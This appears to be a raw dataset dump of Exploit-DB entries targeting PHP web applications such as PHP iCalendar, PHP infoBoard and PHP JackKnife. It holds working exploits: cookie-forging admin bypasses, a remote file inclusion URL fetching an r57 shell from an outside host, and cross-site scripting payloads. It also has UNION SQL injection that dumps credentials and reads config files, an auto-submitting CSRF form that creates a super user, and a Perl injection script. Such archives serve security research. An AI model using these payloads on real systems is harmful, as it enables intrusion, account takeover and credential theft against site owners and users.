deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6163
Description: PHP Hosting Directory 2.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-30
Author: Stack

Exploit:
# PHP Hosting Directory 2.0 Insecure Cookie Handling Vulnerability  
# Name Of Script : PHP Hosting Directory 2.0
# Download From : http://jnshosts.com/download/phphost_directory.zip
# Discoverd By :Stack
# Home : http://v4-team.com
---
exploit:
javascript:document.cookie = "adm=1; path=/"; document.cookie = "adm=1; path=/";

# milw0rm.com [2008-07-30]
Exploit-DB #6160
Description: PHP Hosting Directory 2.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-29
Author: RoMaNcYxHaCkEr

Exploit:
# Name Of Script : PHP Hosting Directory 2.0 
# Download From : http://jnshosts.com/download/phphost_directory.zip
# Found By : RoMaNcYxHaCkEr
# My Homepage : WwW.4RxH.CoM
# My Group : [RoMaNTiC-TeaM]
# Type Of Exploit : RFI
# P.O.C. : http://WwW.4RxH.CoM/phphost_directoryv2/include/admin.php?rd=http://site.com/r57.txt?
# Good Luck
# Note : If You Lamerz , Kidz Or Snitch Just I Said For You (Fuck You)
# Contact Me : RxH0@HoTMaiL.CoM
# rXh
# bEST wISHES

# milw0rm.com [2008-07-29]
Exploit-DB #29363
Description: PHP iCalendar 1.1/2.x - 'day.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/21792/info

PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/phpicalendar/day.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script>
Exploit-DB #29368
Description: PHP iCalendar 1.1/2.x - 'getdate' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/21792/info
     
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
http://www.example.com/phpicalendar/rss/index.php?cal=Home,US+Holidays,Work &getdate=20061225"><script>alert()</script>
Exploit-DB #29364
Description: PHP iCalendar 1.1/2.x - 'month.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/21792/info
 
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/phpicalendar/month.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script>
Exploit-DB #29369
Description: PHP iCalendar 1.1/2.x - 'print.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/21792/info
      
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
      
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
      
http://www.example.com/phpicalendar/print.php?cal=Home,US+Holidays,Work &getdate=20061225%22%3E%3Cscript%3Ealert()%3C/script%3E&printview=day
Exploit-DB #29367
Description: PHP iCalendar 1.1/2.x - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/21792/info
    
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
http://www.example.com/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102&query=ss"><script>alert()</script>&submit.x=11&submit.y=15 

http://www.example.com/phpicalendar/search.php?cpath="><script>alert()</script>&cal=Home %2CUS%2BHolidays%2CWork&getdate=19700102&query=ss&submit.x=11&submit.y=12 

http://www.example.com/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102"><script>alert()</script>&query=ss&submit.x=11&submit.y=12
Exploit-DB #29366
Description: PHP iCalendar 1.1/2.x - 'week.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/21792/info
   
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
http://www.example.com/phpicalendar/week.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script>
Exploit-DB #29365
Description: PHP iCalendar 1.1/2.x - 'year.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/21792/info
  
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/phpicalendar/year.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script>
Exploit-DB #6526
Description: PHP iCalendar 2.24 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-22
Author: Stack

Exploit:
###############################################################################################
[+] PHP iCalendar <= 2.24 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack                
[+] Greetz : All my freind               
################################################################################################
---
exploit:
javascript:document.cookie = "phpicalendar_login=1; path=/";
javascript:document.cookie = "phpicalendar=1; path=/";

# milw0rm.com [2008-09-22]
Exploit-DB #28131
Description: PHP ICalender 2.22 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-29
Author: Kurdish Security

Exploit:
source: https://www.securityfocus.com/bid/18721/info

PHP iCalender is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PHP iCalendar version 2.22 is vulnerable; other versions may also be affected.

http://www.example.com/phpicalendar/rss/index.php?cal=[XSS]
Exploit-DB #4565
Description: PHP Image 1.2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-10-23
Author: Civi

Exploit:
PHP Image v1.2 Multiple Remote File Inclusion

Download: http://www.phpimage.co.uk/phpimage_v_1_2.zip

Bug found by Civi

Vuln code in xarg_corner.php, xarg_corner_bottom.php, xarg_corner_top.php:

<td style="background-image: url(images/cor_top_fill.jpg);"><?php include($xarg); ?></td>

POC:

http://site/xarg_corner.php?xarg=http://shell.php?
http://site/xarg_corner_bottom.php?xarg=http://shell.php ?
http://site/xarg_corner_top.php?xarg=http://shell.php?


[Original Post: forum.darkc0de.com]

Tnx to: d3hydr8, str0ke

# milw0rm.com [2007-10-23]
Exploit-DB #40554
Description: PHP Image Database - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-10-16
Author: larrycompress

Exploit:
# Exploit Title: PHP Image Database - Multiple Vulnerabilities
# Date: 2016-10-16
# Exploit Author: larrycompress
# Contact: larrycompress@gmail.com
# Type: webapps
# Platform: PHP
# Vendor Homepage: http://www.pagereactions.com/product.php?pku=3
# Software Link: http://www.pagereactions.com/downloads/phpimagedatabase.zip
----------------------------------------------------------------------------

POC as follows :

# 0x00 Reflected XSS

---

1.In public search :

http://192.168.1.112/phpimagedatabase/index.php?dateyear=<svg/onload=alert(1)>&key=<svg/onload=alert(2)>

2.In administration web interface (need normal user login) :

http://192.168.1.112/phpimagedatabase/administration.php?dateyear=<svg/onload=alert(1)>&key=<svg/onload=alert(2)>


# 0x01 Stored XSS

---

1.In administration web images interface (need normal user login) :

http://192.168.1.112/phpimagedatabase/administration.php
?pageaction=newimage
&MAX_FILE_SIZE=1000000
&subaction=submit
&dateday=16
&datemonthnewedit=10
&dateyearnewedit=2016
&title=<svg/onload=alert(1)>
&caption=<svg/onload=alert(2)>
&keywordtags=<svg/onload=alert(3)>
&photographer=<svg/onload=alert(4)>
&categorynewedit=
&publish=active

2.In administration web categories interface (need  administrator user login) :

http://192.168.1.112/phpimagedatabase/administration.php?pageaction=newcategory&subaction=submit&categoryname=</select><svg/onload=alert(1)><select>

# 0x02 CSRF (add Super user)

---

In http://192.168.1.103/csrf.html :

<!DOCTYPE html>
<html>
  <body>
    <form action="http://192.168.1.112/phpimagedatabase/administration.php" method="POST">
      <input name="pageaction" value="saveuser" type="hidden" />
      <input name="subaction" value="submit" type="hidden" />
      <input name="username" value="larry_csrf" type="hidden" />
      <input name="password" value="larry_csrf" type="hidden" />
      <input name="userfullname" value="larry_csrf" type="hidden" />
      <input name="accesslevel" value="Super" type="hidden" />
      <input name="userstatus" value="active" type="hidden" />
      <input name="mysubmit" value="submit" type="submit" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

* Thanks to Besim *
Exploit-DB #6568
Description: PHP infoBoard 7 - Plus Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-25
Author: Stack

Exploit:
###############################################################################################
[+] PHP infoBoard V.7 Plus Insecure Cookie Handling Vulnerability
[+] Discovered By Stack               
[+] Greetz : All my freind              
################################################################################################
---
exploit:

javascript:document.cookie = "infouser=1; path=/"; document.cookie = "infopass=1; path=/";

# milw0rm.com [2008-09-25]
Exploit-DB #6566
Description: PHP infoboard 7 plus - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-25
Author: CWH Underground

Exploit:
==========================================================
  PHP infoBoard V.7 Plus Multiple Remote Vulnerabilities
==========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 25 September 2008
SITE   : cwh.citec.us


#####################################################
APPLICATION : PHP infoBoard V.7 Plus
VERSION     : v.7
VENDOR      : http://cannot.info/phpinfoboard
DOWNLOAD    : http://cannot.info/lib/dw/plus7.zip
#####################################################

-- Remote SQL Injection ---

[+]http://[Target]/[path]/showtopic.php?idcat=-1'/**/UNION/**/SELECT/**/1,2,3,4,concat(info_name,0x3a,0x3a,0x3a,info_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/FROM/**/[prefix]info_admin--&showpage=10
[+]http://[Target]/[path]/showtopic.php?idcat=-1'/**/UNION/**/SELECT/**/1,2,3,4,concat(info_name,0x3a,0x3a,0x3a,info_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/FROM/**/[prefix]info_user--&showpage=10

Note: [prefix] is a prefix of table names that an administrator assigns it when he sets up PHP infoBoard.


-- Strore XSS --

At page http://[Target]/[path]/?action=newtopic&idcat=[number]

This page is used to add new topics and there is a feild "ÂªÃ—Ã¨Ã" which is prepared for inserting poster's name.
We can inject javascript into this feild as result in "Stored XSS". 

Example code of vulnerable input feild:
ÂªÃ—Ã¨Ã</td><td width='125' height='25' align='left'><input  name='isname' type='text'  size='25' value='' />

Note: 
- [number] is a idcat  that an administrator assigns it (default is 1).
- We can inject javascript into the feild when we do not log in to be a user of a PHP infoBoard.


#####################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-09-25]
Exploit-DB #43069
Description: Php Inventory - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Php Inventory & Invoice Management System - Arbitrary File Upload
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://savsofteproducts.com/
# Software Link: http://www.phpinventory.com/
# Demo: http://phpinventory.com/phpinventory_demo/ 
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15990
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# 
# The vulnerability allows an users upload arbitrary file....
# 
# Vulnerable Source:
#
# .............1
# if($_FILES['userfile']['name']!=''){	
#	$target = 'images/user_pics/';
#	$targets = $target . basename( $_FILES['userfile']['name']);
#	$docadd=($_FILES['userfile']['name']);
#	if(move_uploaded_file($_FILES['userfile']['tmp_name'], $targets))
#		{
#			$pfilename=$_FILES['userfile']['name'];
#			$filename=time().$pfilename;
#			$new_path=$target.$filename;
#			rename($targets,$new_path);
#		}
#
#}else{
#$filename=$_POST['user_picname'];
#}
# .............2,3,4
# $target = 'images/logo/';
# $target = 'images/product_images/';
# $target = 'images/service_providers/';
# Etc..
# .............
#
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php/dashboard/edit_myaccountdetail/
# 
# http://localhost/[PATH]/images/user_pics/[...].php
# 
# Etc..
# # # # #
Exploit-DB #10370
Description: PHP Inventory 1.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-12-10
Author: mr_me

Exploit:
#################################################################
#
# PHP Inventory v1.2 Remote (Auth Bypass) SQL Injection Vulnerabiity
# Found By: mr_me
# Download: http://www.phpwares.com/content/php-inventory
# Tested On: Windows Vista
# Note: For educational purposes only
#
#################################################################

First of all lets login to admin with:

http://[server]/php-inventory/index.php

username: ' or 1=1--
password: ' or 1=1--

The app is riddled with SQL Injection. For example:

http://[server]/php-inventory/index.php?sub=users&action=details&user_id=[SQLI]

SELECT * FROM `site_users` WHERE `user_id`='1003''You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near ''1003''' at line 1

This of course means you can do some slightly dodgy refected XSS:

http://[server]/php-inventory/index.php?sub=suppliers&action=details&sup_id=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://[server]/php-inventory/index.php?sub=suppliers&action=details&sup_id='><script>alert(document.cookie)</script>

I leave the exploiting up to the reader.
Exploit-DB #28711
Description: PHP Invoice 2.2 - 'home.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-26
Author: meto5757

Exploit:
source: https://www.securityfocus.com/bid/20221/info

PHP Invoice is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.2 is reported vulnerable; other versions may also be affected.

http://www.example.com/[path]/home.php?msg=Successfully%20updated&alert=[xss]
Exploit-DB #18402
Description: PHP iReport 1.0 - Remote Html Code Injection
Type: webapps
Platform: php
Date: 2012-01-21
Author: Or4nG.M4N

Exploit:
#!/usr/bin/perl
########################################################################
# Title    = phpireport v1.0 => Remote Html Code injection
# Author   = Or4nG.M4n
# Download = http://garr.dl.sourceforge.net/project/phpireport/phpireport%20v1.0%20alpha%20revision%2025.rar
# Thnks :
# +----------------------------------+
# |   xSs m4n   i-Hmx   h311 c0d3    |
# |   Dr.Bnned ahwak2000 sa^Dev!L    |
# +----------------------------------+
#
#	                                 Html injection 
# vuln : messages_viewer.php
# vuln : home.php
# vuln : history.php
# code :
#	
#	echo "
#		<li>
#			<div class='post-details'><div style='float:left'>user: ".stripslashes($name)."</div> <div style='float:right'>".$time."</div></div>
#			<br>
#			<div class='post-details'>".stripslashes($message)."</div>
#		</li>
#	";
# How i can Fixed ..
# in all vuln file 
# Replace : stripslashes => Replace with => htmlspecialchars
# Thnks to All Stupid Coders 
#
use LWP::UserAgent;

print "Code to inject #";
my $inj = <STDIN>;
chomp $inj;
my $url = 'http://localhost/phpireport/index.php';

my $ua       = LWP::UserAgent->new();
my $response = $ua->post( $url, { 'message' => $inj } ); # Post <textarea rows='2' name='message' id='name'>&lt;/textarea&gt;
my $content  = $response->decoded_content();
print "\n done \n";

# The End
Exploit-DB #30116
Description: PHP JackKnife 2.21 - '(PHPJK) G_Display.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-05-31
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/24253/info
    
PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/PHPJK/G_Display.php?iCategoryUnq=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PHPJK/G_Display.php?iDBLoc=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PHPJK/G_Display.php?iTtlNumItems=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PHPJK/G_Display.php?&iNumPerPage=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PHPJK/G_Display.php?sSort=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
Exploit-DB #30112
Description: PHP JackKnife 2.21 - '(PHPJK) G_Display.php?iCategoryUnq' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-31
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/24253/info

PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/PHPJK/G_Display.php?iCategoryUnq=-1/**/union/**/select/**/1,2,Password,4,5,6/**/from/**/Accounts/*
Read database credentials:
http://www.example.com/PHPJK/G_Display.php?iCategoryUnq=-1/**/union/**/select/**/1,2,LOAD_FILE(0x2F7573722F6C6F63616C2F[PII_REDACTED]65322F6874646F63732F5048504A4B2F436F6E66696[PII_REDACTED]96F6E732F5048504A4B5F436F6E6669672E706870),4,5,6/**/from/**/Accounts/*
Exploit-DB #30113
Description: PHP JackKnife 2.21 - '/(PHPJK) Search/DisplayResults.php?iSearchID' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-31
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/24253/info
 
PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/PHPJK/Search/DisplayResults.php?DOMAIN_Link=&iSearchID=-1+UNION+SELECT+1,1,1,1,Login,1,Password,1,1,1,1,1,1,1+FROM+Accounts/*
Exploit-DB #30114
Description: PHP JackKnife 2.21 - '/(PHPJK) UserArea/Authenticate.php?sUName' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-31
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/24253/info
  
PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/PHPJK/UserArea/Authenticate.php?sUName=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
Exploit-DB #30115
Description: PHP JackKnife 2.21 - '/(PHPJK) UserArea/NewAccounts/index.php?sAccountUnq' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-31
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/24253/info
   
PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/PHPJK/UserArea/NewAccounts/index.php?sAccountUnq=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>